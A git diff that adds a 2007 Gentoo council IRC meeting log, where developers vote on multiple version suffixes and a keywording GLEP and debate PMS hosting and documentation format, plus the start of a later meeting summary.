+[16:27] <fmccor> wolf31o2, On the bug, could you please give a reference to the document in question?
+[16:27] <kloeri> amne couldn't be around for tonights meeting but they don't have any updates yet
+[16:27] <KingTaco> I don't think anything has changed
+[16:27] * fmccor is behind here.
+[16:27] --> ferringb (n=bharring@c-67-171-130-60.hsd1.or.comcast.net) has joined #gentoo-council
+[16:30] <wolf31o2> KingTaco: robbat2|na: any word on a dev-only archive for -core?
+[16:30] <KingTaco> wolf31o2, I'm not involved in that
+[16:30] <wolf31o2> right, but do you know anything about it?
+[16:30] <KingTaco> nope
+[16:30] <wolf31o2> k
+[16:30] <KingTaco> the people to talk to are probably robbat2|na and solar
+[16:30] <wolf31o2> alright...
+[16:31] <wolf31o2> also, 2007.0 is out now, so we can get to working on the survey... Robin said he would look at it
+[16:31] <wolf31o2> just wanted to note that
+[16:32] <wolf31o2> so I guess all that is left is PMS unless someone has something else
+[16:32] <Uber> grobians glep is what's left
+[16:32] <wolf31o2> right... sorry
+[16:33] <wolf31o2> so PMS then the GLEP?
+[16:33] <KingTaco> I think ferringb had something too
+[16:33] <wolf31o2> ok
+[16:33] --- KingTaco sets modes [#gentoo-council +v ferringb]
+[16:33] <KingTaco> ferringb, what were you riding me about last week?
+[16:33] <wolf31o2> heh
+[16:33] <KingTaco> he was
+[16:34] * ferringb will get out the sadle again damn it :P
+[16:35] <ferringb> KingTaco: multiple suffix; few things... 1) suggestion to block further usage, instead of forcibly punting whats there now for the future... 2) actually discuss it, since right now it's completely blocked
+[16:36] <KingTaco> aight
+[16:36] <ferringb> opinion on it's a wee bit divided to say the least, but have seen enough weird versions from upstreams that it's useful as a general mechanism- not all permutations necessarily are sane, which is really what the discussion ought be about
+[16:36] <KingTaco> anyone disagree with what Kugelfang kloeri and robbat2|na did the other week?
+[16:36] <kloeri> the point was to block usage so we could discuss it on -dev instead of tree policy just randomly changing
+[16:36] <KingTaco> anyone want to talk about it?
+[16:36] <vapier> and the proposal to workaround it by leveraging -r### is plain wrong
+[16:36] <fmccor> ++ to that.
+[16:36] <wolf31o2> well, there's two things... first, *should* we limit the suffixes, and if so, how...
+[16:37] <wolf31o2> so I guess we'll start simple... should we limit the number/usage of multiple suffixes?
+[16:37] <vapier> i agree that some combinations are weird and dont generally make sense, but i dont see any real logic as to what should be kept and what should be tossed
+[16:37] <kloeri> I'm all for multiple suffixes where it makes sense as long as we actually work that out first
+[16:37] <KingTaco> I don't see a valid case for ever having multiple suffixes
+[16:38] <vapier> KingTaco: using _p to track upstream date patches against upstream rc/beta/etc...
+[16:38] <fmccor> How does what kloeri propose differ from ferringb?
+[16:38] --> ahf (n=eroyf@gentoo/developer/paludis.minion.eroyf) has joined #Gentoo-Council
+[16:38] <wolf31o2> some upstreams suck... so anything we do without multiple suffixes is diverging from upstream versioning
+[16:38] <KingTaco> but it did remind me of an idea I had the other day
+[16:38] <KingTaco> I'll talk about it after this
+[16:39] <wolf31o2> ok... like I said, let's keep it simple...
+[16:39] <vapier> as genone said, there is no technical reason for limiting the combinations
+[16:39] <wolf31o2> vote: should we allow multiple suffixes?
+[16:39] <vapier> which is true ... if you support one combination of suffixes, you might as well make it completely arbitrary
+[16:40] <wolf31o2> I tend to agree that there's no reason to restrict it... the minute we do, somebody will make a version that does something we didn't expect and we're back to where we are now
+[16:40] <wolf31o2> and I vote yes, we should allow multiple suffixes
+[16:40] <vapier> right, i'm for it
+[16:40] * Uber votes yes also
+[16:40] <fmccor> I'll vote Kugelfang yes.
+[16:40] <KingTaco> if we're going to do multiple suffixes then we need to document the order
+[16:40] <wolf31o2> sure
+[16:40] <vapier> the order is documented
+[16:40] <fmccor> Yes.
+[16:40] <kloeri> the thing about restricting it isn't technical but users should be able to look at 5 ebuilds and see what's newest which can get rather complex with multiple suffixes imo
+[16:41] <vapier> i dont understand that argument at all
+[16:41] <KingTaco> I vote no
+[16:41] <wolf31o2> kloeri: robbat2|na: ?
+[16:41] <vapier> if a > b > c, then why do you need to document a > a.b > a.c > b
+[16:41] <kloeri> I think some cases might make sense but I don't think we should allow arbitrary combinations
+[16:41] <wolf31o2> well, I guess it goes in anyway... so now... should we limit what suffix combinations are allowed?
+[16:41] <wolf31o2> heh
+[16:42] <kloeri> imo we should
+[16:43] <vapier> i'm with genone on this ... since there is no technical limitation, imposing our own arbitrary rules on an arbitrary system seems pointless to me
+[16:43] <Uber> i'm with vapier, we shouldn't restrict needlessly
+[16:43] <wolf31o2> I agree with you/genone... I see no reason to limit it when it isn't a technical limitation we have to worry about
+[16:44] <wolf31o2> KingTaco: fmccor: robbat2|na: ?
+[16:44] <KingTaco> wolf31o2, I already voted no to multiple suffixes
+[16:44] <wolf31o2> ok...
+[16:45] <fmccor> Conditional agree.  As someone mentioned, they need to be human-decipherable without too much effort.
+[16:45] <fmccor> (Agree with vapier Uber etc)
+[16:45] <wolf31o2> ok.. that makes a majority
+[16:45] <vapier> so when someone uses a silly suffix, you let them know
+[16:45] <KingTaco> fmccor, it's a simple yes/no
+[16:46] <vapier> "hey you, stop being stupid"
+[16:46] <wolf31o2> exactly
+[16:46] <fmccor> Then yes :)
+[16:46] <KingTaco> I think that's silly
+[16:46] <KingTaco> just inviting flamewars and more infighting
+[16:47] <wolf31o2> any more than any other decision we make?
+[16:47] <KingTaco> probably not
+[16:47] <wolf31o2> no matter what, somebody isn't going to be happy, or else we wouldn't have to discuss/decide on it
+[16:47] <wolf31o2> ok... keywording GLEP...
+[16:47] <vapier> yeah, we wouldnt need to exist in the first place
+[16:47] * fmccor would consider a flamewar over multiple suffixes to be proctor bait.
+[16:48] <ferringb> *cough* raised two points above actually :)
+[16:48] <vapier> ferringb: got more to add ?
+[16:48] <ferringb> 1) what to do with multi-suffix, 2) how to handle such a decision in the future
+[16:48] <KingTaco> answer to 2 is -dev
+[16:48] <vapier> right
+[16:48] <ferringb> moreso, refering to the "outlaw further usage" vs "it has to be cleaned out of the tree now"
+[16:48] <vapier> multi-suffix predates pms
+[16:48] <wolf31o2> ferringb: ehh.. we said multi-suffix is allowed... meaning it isn't blocked anymore
+[16:49] <vapier> so if you have something that doesnt exist in portage now and requires a change in pms -> gentoo-dev
+[16:49] <ferringb> wolf31o2: again, difference between blocked for further usage, and making people change their versioning scheme for a 2 week window
+[16:49] <kloeri> that's actually my biggest complaint about the multiple suffix stuff that tree policy was just changed with no -dev discussion at all - no discussion I'm aware of at least
+[16:49] <KingTaco> kloeri, why did you vote for it then?
+[16:50] <KingTaco> at that meeting
+[16:50] <kloeri> KingTaco: I'm talking about allowing it in the first place without any discussion
+[16:50] <wolf31o2> ferringb: what exactly do you want us to discuss... we reversed the previous decision and allowed it... I'm not following what you want
+[16:50] <ferringb> wolf31o2: basically asking that in the future, when putting the breaks on something like this, block rather then punt while waiting for a full decision.
+[16:50] <kloeri> we blocked it to have that discussion
+[16:50] <ferringb> punted
+[16:50] <vapier> kloeri: it was added by any other means; feature request long ago in bug tracker when portage was the only real solution
+[16:50] <vapier> so complaining about a breakage in policy when a policy didnt exist is wrong
+[16:50] <ferringb> look at the original email, and the lack of multi-suffix in the tree now- it's usage was outlawed and folks had to change over right then/there
+[16:50] <wolf31o2> ferringb: ahh... ok... so nothing to do with this decision, but rather future ones...
+[16:50] <ferringb> yep
+[16:51] <kloeri> vapier: yes but we tree policy changes should be discussed on -dev ML imo
+[16:51] <wolf31o2> I see no problem with not requiring things be punted... we probably should have done that anyway...
+[16:51] <kloeri> and it's always been that way
+[16:51] <vapier> breakage has historically been discussed, not new features
+[16:51] <vapier> new features have been generally filed in bugzilla and then implemented as portage devs seen fit
+[16:52] <kloeri> in that case I want portage commit access so I can make some new features without discussing it :)
+[16:52] <ferringb> features != ebuild support changes :)
+[16:52] <ferringb> (might want to be specific there)
+[16:52] <vapier> just because you're not watching the portage alias and seeing the discussion doesnt mean it didnt happen :P
+[16:52] <kloeri> ok, so the few devs watching the portage alias decides tree policy?
+[16:52] <vapier> ferringb: where do you draw the line ?  FEATURES ? RESTRICT ? USE ?
+[16:53] <vapier> kloeri: the guys maintaining portage were deciding portage policy
+[16:53] <vapier> that's how it has always been
+[16:53] <vapier> you cant apply current view of the Gentoo world retroactively and take offense
+[16:54] <kloeri> important policy changes (and I count multiple suffixes as important) should be discussed on -dev imo
+[16:54] <wolf31o2> ok... I've got to run... on the GLEP, I totally agree with it
+[16:54] <kloeri> we've always required important policy changes to be discussed
+[16:54] <ferringb> vapier: just pointing out that misc. portage enhancements just affect that manager, not the others
+[16:55] <vapier> ferringb: this change was made pre-others
+[16:55] <ferringb> vapier: well aware; was just correcting terms kloeri was using is all :)
+[16:55] <vapier> so again, you cant take the current state of how things are handled and apply it retroactively
+[16:55] <wolf31o2> the GLEP reverses GLEP 22 and actually changes the keywording to match current practice, which I think is a good idea... and that's all I have time for, folks...
+[16:56] <kloeri> ok, I give up on this as nobody seems to agree that it should have been discussed
+[16:57] <wolf31o2> no, it definitely should have been discussed before being put in the tree, but not before it was put into portage
+[16:57] <wolf31o2> that make sense?
+[16:57] <vapier> it's a moot point
+[16:57] <vapier> we've decided going forward
+[16:57] <kloeri> wolf31o2: that's all I want
+[16:57] <wolf31o2> right
+[16:57] <wolf31o2> so glep
+[16:57] <wolf31o2> heh
+[16:58] <vapier> it doesnt account for kbsd
+[16:58] <vapier> but do we care
+[16:58] <wolf31o2> it doesn't explicitly list everything, just examples
+[16:58] <fmccor> How does it not?
+[16:59] <fmccor> (Like wolf31o2 said)
+[16:59] <vapier> it doesnt account in the same way as the old glep
+[16:59] <vapier> kbsd is half way between "x86" and "x86-fbsd"
+[16:59] <KingTaco> I don't like it at all
+[17:00] <fmccor> And?
+[17:00] <KingTaco> it creates confusion and work for almost all of the ebuild maintainers while only giving benefit to fringe arches
+[17:00] <Uber> vapier: isn't that x86-kbsd ?
+[17:00] <wolf31o2> KingTaco: huh? go read it again... -linux is implied if missing
+[17:01] <Uber> right, it just ratifies what we're currently doing
+[17:01] <wolf31o2> right... and now I really have to go... doorbell
+[17:01] <KingTaco> oh, I missed that
+[17:01] <wolf31o2> been fun
+[17:01] <KingTaco> sure
+[17:01] <KingTaco> it's already being done
+[17:01] --- robbat2|na is now known as robbat2
+[17:01] <fmccor> Uber, that's how I read it, too.
+[17:02] <robbat2> arr my head :-( sucky to get a cold now
+[17:02] <robbat2> sorry for being an hour late
+[17:02] <KingTaco> robbat2, Kugelfang already used that excuse
+[17:02] <fmccor> robbat2, It's OK, you got all the action items.
+[17:03] <robbat2> lol
+[17:03] <wolf31o2> ok... got a free second... yeah, it's already being done... main thing is it reverses glep 22 and applies current practice as policy
+[17:04] <KingTaco> I vote yes
+[17:04] <fmccor> yes for Kugelfang
+[17:04] <wolf31o2> yes
+[17:04] <Uber> yes
+[17:04] <robbat2> this is grobian's glep? yes on that from me
+[17:04] <Uber> robbat2: yes, his glep
+[17:06] <kloeri> yes
+[17:07] <Uber> vapier?
+[17:08] <-- Jokey has quit (Client Quit)
+[17:09] <Uber> well, it's got enough votes anyway
+[17:10] <Uber> so that's it then? the chair (wolf31o2) has gone, so meeting closed?
+[17:10] <KingTaco> heh
+[17:10] <KingTaco> nope
+[17:10] <KingTaco> vapier had something about PMS
+[17:11] <fmccor> Not if he's not here, he doesn't. :)
+[17:11] <kloeri> heh
+[17:11] <KingTaco> ok....
+[17:11] <KingTaco> anything else?
+[17:12] <fmccor> Thanks to the PMS authors for a splendid job?
+[17:12] <KingTaco> hahah
+[17:12] <ferringb> PMS vcs
+[17:13] <ferringb> still was up in the air from last time around
+[17:13] * KingTaco points to robbat2 
+[17:13] * Uber is away for 30 mins or so
+[17:14] <robbat2> ciaranm seemed to want to reject anything other than his own SVN
+[17:14] <KingTaco> fuck ciaranm
+[17:14] <robbat2> if he's altered his position since then, there's a git repo waiting on stork
+[17:14] <robbat2> i just need to hook up whoever's going to be the main person handling it if we are doing an LKML model
+[17:15] <robbat2> or multiple people if desired
+[17:15] <KingTaco> supposedly that's spb
+[17:16] <ferringb> also... EAPI1, might want to figure out how that'll be managed.  basically, if it's ad hoc, doc writers get to force the format (sane or otherwise manager wise), potentially desired, potentially not
+[17:17] <ferringb> mainly pointing it out since discussion of each tidbit would be wise- pythons pep approach for example would work well once EAPI=0 is locked down imo
+[17:17] <ferringb> either way, ad hoc sucks. :)
+[17:17] <vapier> sorry
+[17:17] <vapier> work IRQ
+[17:18] <vapier> i think the PMS state is still broken
+[17:18] <vapier> i wont be happy until it's been moved to proper Gentoo hosting with proper teams behind it
+[17:19] <vapier> i can let it sit until next meeting since people have taken off
+[17:19] <robbat2> vapier, see above, i've got a git repo on stork now, just need to give people access to it once they agree on the commit model
+[17:19] <robbat2> if they're all up with spb being the person to accept commits, then i'll give him write access when he's around, and read for everybody else
+[17:21] <fmccor> No objection that I can think of.
+[17:21] <ferringb> robbat2: seems moot dependant on how the EAPI discussions from above are managed frankly; if it's ad hoc, means spb/whoever controls that repo controls the format
+[17:21] <vapier> other than git is a lame solution, it does satisfy my current requirements
+[17:21] <KingTaco> robbat2, I don't think that'll satisfy vapier
+[17:21] <kloeri> no objection from me
+[17:21] <KingTaco> doesn't sit well with me either
+[17:22] <vapier> the latex format really makes PMS unaccessible for many to contribute to
+[17:22] <robbat2> KingTaco, which, git or ferringb's problem?
+[17:22] <KingTaco> robbat2, 1 rw * ro
+[17:22] <vapier> unfortunately that's the only way git will actually work here
+[17:22] <KingTaco> I *love* latex, but if it's going to be a gentoo thing, it should be xml like everything else
+[17:22] <vapier> grafting a dscm solution into a scm solution
+[17:23] <KingTaco> we made a mistake with the devmanual
+[17:23] <robbat2> no, it can work for $N rw * ro too
+[17:23] <vapier> who was working on xmlifying it ?
+[17:23] <KingTaco> dunno
+[17:23] <KingTaco> I don't think it ever got farther than chitchat
+[17:24] <fmccor> Does it matter until it's final?
+[17:24] <KingTaco> yes
+[17:24] <KingTaco> wait
+[17:24] <KingTaco> fmccor, what are you refering to?
+[17:25] <fmccor> latex --> xml
+[17:25] <KingTaco> ah
+[17:25] <KingTaco> ignore my yes
+[17:25] <fmccor> With latex, I can actually work with the document.
+[17:25] <vapier> like everything else, you can say "it'll be done later" but it wont be :p
+[17:25] <KingTaco> I agree with vapier
+[17:26] <fmccor> Actually, that's a test of whether it matters, too. :)
+[17:26] <KingTaco> *shrug*
+[17:26] <vapier> depends on who you ask
+[17:27] <KingTaco> I don't want to have to host more special content
+[17:27] <vapier> i think KingTaco has a point with the "Gentoo has settled on xml as a standard for documentation"
+[17:27] <KingTaco> xml is easy as infra can push it to the www nodes
+[17:27] <KingTaco> it can also be branded the same way most of our other content is
+[17:28] <fmccor> I don't have an opinion one way or the other --- my question should be read exactly as I wrote it, and I think the answer was "yes"
+[17:29] <KingTaco> the answer is yes
+[17:29] <KingTaco> if you expect the majority of gentoo people to contribute
+[17:29] <KingTaco> most of us know gentoo xml
+[17:29] <KingTaco> the same statement can not be made about latex
+[17:29] <robbat2> weird observation on the site that had the PMS SVN - a bunch of revisions are missing now - i pulled the git when it was r164, but now the SVN only goes to r129
+[17:29] <kloeri> you could also say that lots of ebuilds devs hate xml though.. :p
+[17:30] <vapier> robbat2: yes, that was a pretty big concern i had as well
+[17:30] <KingTaco> robbat2, either someone got pissy or svn broke for them too
+[17:30] <KingTaco> I've had problems with svn like that at work
+[17:30] <vapier> btw is this meeting offically over or what ? :)
+[17:31] <KingTaco> vapier, PMS was your topic
+[17:32] <vapier> i got the feeling that people had peaced out and PMS was happening post
+[17:32] <KingTaco> we can table it
+[17:32] <vapier> i think that's best
+[17:32] <KingTaco> I don't think anything is going to get done today
+[17:32] <KingTaco> ok
+[17:32] <KingTaco> any thing else?
+[17:32] <KingTaco> speak no or wait 30 days
+[17:32] <vapier> i dont believe so
+[17:32] <KingTaco> going
+[17:32] <KingTaco> going
+[17:32] <KingTaco> gone
+[17:33] --- KingTaco sets modes [#gentoo-council -m]
+[17:33] <fmccor> KingTaco, I thought everyone spoke latex. :)
+[17:33] <KingTaco> I wish
+[17:33] <ahf> latex is neat
+[17:34] <welp> but gentoo's official docs are all in xml
+[17:35] <welp> (lets convert all of gentoo's docs to latex! ;))
+[17:35] <ahf> you're saying that guidexml is neat?
+[17:35] <welp> no
+[17:35] <ahf> good.
+[17:35] <welp> i never said that, or even implied it...
+[17:36] <ahf> thus people has to use something that they don't like, just because everyone else is using it?
+[17:36] <dostrow> ahf: the answer to that is yes
+[17:36] <vapier> wtf is ahf ?
+[17:37] <ahf> eroyf.
+[17:37] <vapier> dont be a tool
+[17:37] <vapier> stay in school
+[17:37] <ahf> sorry, on my workstation
+[17:37] <vapier> and shut your word hole
+[17:37] <ahf> okdad.
+[17:37] <vapier> the usefulness of guidexml has been discussed on the gentoo-dev mailing list
+[17:37] <vapier> yes, it's xml ... yes, many people think xml is the devil
+[17:38] <ahf> and developers are enforced to write every technical document in it?
+[17:38] <ahf> forced*
+[17:38] <vapier> however it's done us a huge service
+[17:38] <ahf> indeed it has
+[17:38] <ahf> for simple pages
+[17:38] <ahf> i agree on that
+[17:38] <vapier> ahf: if you want to write your own technical document for your own stuff, have at it
+[17:38] <vapier> Gentoo wide things there's a standard
+[17:38] <KingTaco> dont ask infra to host it
+[17:38] <ahf> but if it has to be official gentoo documentation it has to be guidexml?
+[17:39] <vapier> i'm not making an argument saying PMS needs to be converted to guidexml right now
+[17:39] <vapier> i'm saying that it has to be seriously considered and have a good reason for it to not be done
+[17:39] <ahf> no. why not finish it then see if you accept it at all
+[17:39] <vapier> PMS isnt some random Gentoo document
+[17:39] <ahf> then start the converting job if you have to
+[17:39] <ahf> i know that.
+[17:39] <welp> fewl
+[17:39] <vapier> if i wasnt planning on accepting it, i would have punted spb already
+[17:40] <ahf> nod
+[17:40] <ahf> i actually need to talk to you about something else but let's take that in query
+[17:40] <vapier> that's what she said
+[17:41] <ahf> i'll be her for today
+[17:41] <vapier> hawt
+[17:41] <ahf> read your query god dammit!
+[17:41] <ahf> stop yapping
+[17:42] <dostrow> ahf: YAP! YAP! YAP!
+[17:43] <ahf> *meh*
+[17:43] <KingTaco> dostrow, how big is that TV you brought to scale?
+[17:43] <dostrow> 32"
+[17:43] <KingTaco> bah
+[17:43] <robbat2> fyi, i shot ciaranm an email to ask if his SVN broken
+[17:43] <dostrow> KingTaco: por que?
+[17:43] <KingTaco> I just got mine (32") and it isn't as big as I remember
+[17:44] <dostrow> aha
+[17:44] <ahf> it's not his asfaik
+[17:44] <zlin> robbat2: I think it moved
+[17:44] <-- FuzzyRay|work has quit (Remote closed the connection)
+[17:44] <robbat2> zlin, no, that repo had r164 before, and now it only has r129
+[17:45] <ferringb> diff'ed them?
+[17:45] <ahf> i think they moved server
+[17:45] * ferringb just assumed that when svn broke they cut off his access to be annoying :)
+[17:45] <ahf> i had to change planetpaludis a lot of times and i think they're on the same server
+[17:46] <robbat2> ahf, got a newer URL then?
+[17:46] <kloeri> vapier: btw, I've set you up on this hot new alpha box contingent on you helping with some binutils problems :p
+[17:46] <ahf> i don't know
+[17:46] <ahf> haven't followed pms discussion lately
+[17:46] <zlin> http://svn.repogirl.net/pms
+[17:47] <ahf> oh, it's on repogirl now
+[17:47] <ahf> i didn't know that.
+[17:47] <robbat2> tjat
+[17:47] <robbat2> that is still r164 that I have already
+[17:47] <robbat2> unless they re-did some commits, i'll check
+[17:49] <-- bazik (n=bazy@gentoo/developer/bazik) has left #gentoo-council
+[17:50] <robbat2> nope, it matches my existing r164, last commit 2007-04-17 16:29:24 -0700
+[17:50] <zlin> I don't think there have been any commits after that
+[17:51] <ferringb> robbat2: curious, have you already converted the data into git?
+[17:51] <ferringb> just wondering from a backup standpoint
+[17:52] <robbat2> yes I have
+[17:52] <-- Calchan|Home has quit ("Leaving")
+[17:52] --- KingTaco sets modes [#gentoo-council -vvo fmccor|home ferringb fmccor]
+[17:52] <robbat2> that's why I had an existing r164 to compare repogirl against :-)
+[17:52] --- KingTaco sets modes [#gentoo-council -v fmccor]
+[17:53] --- robbat2 has changed the topic to: Next meeting June 14th, 2000UTC (1600EDT)
+[18:01] <fmccor|home> Hmph.  Back to commoner status. :)
+[18:12] <KingTaco> fmccor|home, sorry, you only get to play god for an hour
+[18:12] <KingTaco> :p
+[18:19] <-- ahf has quit ("bedse")
+[18:28] <-- xhub has quit (Remote closed the connection)
+[18:52] <-- rbu has quit (Remote closed the connection)
+[19:13] <jmbsvicetto> fmccor|home: You don't even get to keep the silly hat ;)
+[19:15] * Uber gives fmccor|home a very very silly hat :P
+[19:16] <kloeri> Uber: I've hopefully fixed your *bsd linking problem in latest python-2.5.1-r1 btw
+[19:17] <Uber> kloeri: huh, it was already fixed I thought? export LDFLAGS="-L." ?
+[19:17] <kloeri> LDFLAGS="-L." wasn't in before -r1
+[19:18] <kloeri> hmm, looks like it was
+[19:18] <Uber> darn, I'm sure I added it to 2.5
+[19:18] <Uber> darn, I'm sure I added it to 2.5.1
+[19:18] <Uber> heh
+[19:19] <kloeri> yeah, I'm just confused about the thousand python updates the last few days I guess
+[19:20] <ferringb> kloeri: thanks btw, mainly didn't want it spreading via 07.1 unstable installs :)
+[19:20] <Uber> kloeri: drink more coffee!
+[19:20] <kloeri> Uber: good idea :)
+[19:21] <Uber> kloeri: and spread the updates around instead of doing 6 months worth of fixes in a few days ;)
+[19:21] <Uber> i bug you less then too - bonus!
+[19:21] <kloeri> yeah well, find somebody else to do the alpha and ia64 releases then
+[19:21] <ferringb> or find someone to do python :)
+[19:22] <kloeri> and as an added bonus find a new devrel lead too :p
+[19:22] <kloeri> in fact, find somebody to do all my work while you're at it :)
+[19:23] <ferringb> kloeri: who is active in the python herd these days btw?
+[19:23] <ferringb> you/dev-zero seem to be the two not derailed by rl atm
+[19:23] <kloeri> yup
+[19:23] <ferringb> exempting marienz, who else has on occasion shown signs of life?
+[19:23] <kloeri> lucass and pythonhead are also somewhat active
+[19:24] <ferringb> afaik, they're just python pkgs rather then the toolchain bits however, right?
+[19:24] <kloeri> liquidx is busy with his phd or whatever it is he's doing
+[19:24] <kloeri> yes
+[19:24] <kloeri> I'm doing the core python stuff
+[19:24] <ferringb> phd?
+[19:24] <Uber> see, you do too much
+[19:25] <ferringb> assumed he was just off sculpting a replica of devils peak out of potatoes
+[19:25] <kloeri> Uber: really? hadn't noticed :)
+[19:25] <Uber> :P
+[19:26] <Uber> seriously, pass some crap onto other people
+[19:26] <ferringb> kloeri: whats the usual flow for core python pkgs?
+[19:26] <ferringb> bursty, sporadic, etc?
+[19:26] <Uber> 6 monthly
+[19:26] <kloeri> bursty as long as it depends on me
+[19:27] * Uber ducks
+[19:27] <kloeri> heh
+[19:27] <kloeri> I tend to take care of devrel/council and related stuff on a more or less daily basis
+[19:28] <KingTaco> it's a daily job
+[19:28] <kloeri> and then do burst of alpha/ia64/mips/python/$other activity
+[19:28] <ferringb> kloeri: asking about if someone was doing just that
+[19:28] <ferringb> generally, upstream is massively farking slow about fixing bugs in my experience
+[19:28] <kloeri> yeah, no way to do random bursts of devrel activity except for some of the docs stuff
+[19:28] <ferringb> looks of it, aren't diverging too far from their fixes
+[19:29] <ferringb> kloeri: that sitedirs patch in 2.5 really needed btw?  already have the env.d addition
+[19:30] <kloeri> not sure, there's still a bunch of python work I need to do
+[19:30] <kloeri> cleaning out old versions is probably at the top of the list
+[19:31] <kloeri> 2.1 and 2.2 have been masked for a very long time so I could just kill those
+[19:31] <kloeri> killing 2.3 would also be nice
+[19:31] <kloeri> I'll probably see if I can do that around the time I unmask 2.5
+[19:31] <ferringb> kloeri: 08_all_crosscompile.patch has tabs/spaces intermixed btw for 2.5.1 patchset
+[19:31] <ferringb> last hunk, the 'return' addition
+[19:32] <ferringb> killing 2.3 you'll have problems with I suspect
+[19:33] <ferringb> 2.2 is getting up there age wise, but lotsa folks still use 2.3
+[19:33] <kloeri> haven't looked at kill 2.3 yet but it's on my wishlist
+[19:33] <kloeri> 2.2 have been masked forever so I have absolutely no problem killing that
+[19:34] <ferringb> an overlay exist for python crap offhand?
+[19:34] <ferringb> would shove it there personally
+[19:34] <kloeri> # Alastair Tse <liquidx@gentoo.org> (15 Jul 2006)
+[19:34] <kloeri> # Python 2.1 and 2.2 have reported vunerabilities. Masked pending
+[19:34] <kloeri> # removal, along with net-zope/zope-2.6. (GLSA: 200509-08, 200502-09,
+[19:34] <kloeri> # 200510-20)
+[19:34] <kloeri> <dev-lang/python-2.3
+[19:34] * ferringb nods
+[19:34] <kloeri> no
+[19:34] <ferringb> mmm.  sources.g.o it is I guess then
+[19:34] <kloeri> well, the entire point of killing that crap is to avoid any maintaining
+[19:35] <ferringb> basically is unmaintained anyways
+[19:35] <ferringb> (upstream specifically)
+[19:35] <kloeri> if people want the ebuilds they can grab them from sources.g.o or whatever they want as long as I don't have to ever look at them again :)
+[19:35] <ferringb> can't recall the last time I saw a 2.2 minor with bugfixes
+[19:35] <kloeri> 2.3 and 2.4 is unmaintained by upstream except for security issues
+[19:35] <ferringb> eh, personally I'd rather see >=2.3 since 2.2 -> 2.3 had the mro tweak
+[19:35] <ferringb> yep
+[19:36] <ferringb> that said, there still are people interested in tweaking 2.4 if needed (it's still heavily used)
+[19:36] <ferringb> 2.2 completely lacks that afaik
+[19:36] <kloeri> not going to kill 2.4 anytime soon
+[19:37] <ferringb> given
+[19:37] <kloeri> but given my complete lack of time for maintaining python I'd like to reduce python to only two major version if it can reasonably be done
+[19:37] <ferringb> eh... delegate
+[19:37] <ferringb> 4, no, 3, dunno :)
+[19:38] <kloeri> delegate would be a lot easier if there were actually some people willing to do the work
+[19:39] <ferringb> well
+[19:39] <ferringb> no offense meant, but that little python mishap of the last few days was enough to get me thinking about it
+[19:40] <ferringb> seems I'm semi touchy about the python toolchain.  who would've guessed. :)
+[19:40] <kloeri> well, that accident happened after lots of devs had tested the update and hadn't reported any issues
+[19:41] <kloeri> can't really avoid something like that completely
+[19:41] <ferringb> eh
+[19:41] <ferringb> wrote extensions that specifically would've been broke by it, and have cursed in the past about the api macro trick there so...
+[19:42] <ferringb> aware of it.  really wish they'd do something there since the trick they're using is rather ugly anyways
+[19:42] <kloeri> and? my point is that no matter how much you test package updates you can always break things and not notice it soon enough
+[19:44] <ferringb> aware, moreso was commenting that cpy extension authors would know about that one causing hell if they've done gil release at all
+[19:44] <kloeri> I'm generally extremely careful with python updates and in this case I asked all archs to test carefully and rekeyword the ebuilds due to the somewhat massive changes I made
+[19:44] <ferringb> admittedly corner case- moreso that you have to know the macro trick sucks to see it coming rather then testing for that case
+[19:44] <kloeri> well, it could have been a thousand other bugs instead
+[19:45] <ferringb> well aware, just was a nasty gotcha is what I'm saying
+[19:46] <kloeri> just like so many other possible gotchas that you'll run into from time to time no matter what
+[19:46] <ferringb> either way... upshot at least for py3k they're cleaning up the cpy extension writing a bit- mainly looking forward to removal of the -fno-strict-aliasing req
+[20:15] --> rbrown` (n=mynamewa@gentoo/developer/paludis.rbrown) has joined #gentoo-council
+[20:19] <-- rbrown`_ has quit (Read error: 60 (Operation timed out))
+[20:38] <-- robbat2 has quit (Remote closed the connection)
+[20:57] --> rbrown`_ (n=mynamewa@gentoo/developer/paludis.rbrown) has joined #gentoo-council
+[21:08] <-- rbrown` has quit (Read error: 110 (Connection timed out))
+[21:20] --> beandog (n=sdibb@gentoo/developer/beandog) has joined #gentoo-council
+[21:20] --> robbat2 (n=robbat2@gentoo/developer/robbat2) has joined #gentoo-council
+[21:20] --- ChanServ sets modes [#gentoo-council +o robbat2]
+[21:42] <-- dostrow has quit ("Your Mom!")
+[22:58] <-- beandog has quit (Remote closed the connection)
+[00:10] --> FuzzyRay|work (n=pvarner@gentoo/developer/FuzzyRay) has joined #gentoo-council
+[00:15] --- robbat2 is now known as robbat2|na
+[00:16] <-- ferringb (n=bharring@c-67-171-130-60.hsd1.or.comcast.net) has left #gentoo-council
+[01:45] <-- christel has quit (Read error: 104 (Connection reset by peer))
+[01:45] <-- masterdriverz has quit (Read error: 104 (Connection reset by peer))
+[01:45] --> masterdriverz (i=masterdr@dev.gentooexperimental.org) has joined #gentoo-council
+[02:06] --- robbat2|na is now known as robbat2
+[02:45] <-- FuzzyRay|work has quit (Remote closed the connection)
+[02:59] <-- welp has quit ("Leaving")
+[03:41] --> Jokey (n=jokey@gentoo/developer/jokey) has joined #gentoo-council
+[04:07] --- rbrown`_ is now known as rbrown`
+[05:38] <Kugelfang> fmccor: once again, my thanks
+[05:38] <Kugelfang> fmccor: you and council@ got a mail that explains my absence yesterday
+[06:51] <fmccor> Kugelfang, You are quite welcome.
+[07:06] <Uber> boring! Next excuse should be "kidnapped by nymphomaniacs"
+[07:08] <masterdriverz> Uber: excuse? you mean that hasn't happened to you yet?
+[07:08] <Uber> no, I'm waiting for the nymphomaniacs to show up :/
+[07:37] <-- mpagano_ (n=mike@pool-70-105-167-248.nwrknj.fios.verizon.net) has left #gentoo-council
+[07:49] <Kugelfang> Uber: :-)
+[07:53] <Kugelfang> KingTaco: devmanual is xml
+[07:55] --- robbat2 is now known as robbat2|na
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20070614-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20070614-summary.txt
new file mode 100644
index 00000000..fa68c7f2
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20070614-summary.txt
@@ -0,0 +1,24 @@
+- Council vote approves jaervosz replacing kloeri.
+
+- robbat2 to write a doc on using Git to access the PMS repo (which presently
+  just mirrors the SVN). spb to bug robbat2 if he doesn't get said doc.
+
+- Large discussion about handling of mailing lists, including proctors and
+  moderation. Vote is proposed for:
+  1. Having a seperate unmoderated -project (in the fashion of Debian's -project). 
+  2. -dev becoming moderated for non-@gentoo, as well as any @gentoo that with
+  to be moderated, or have flamish tendancies.
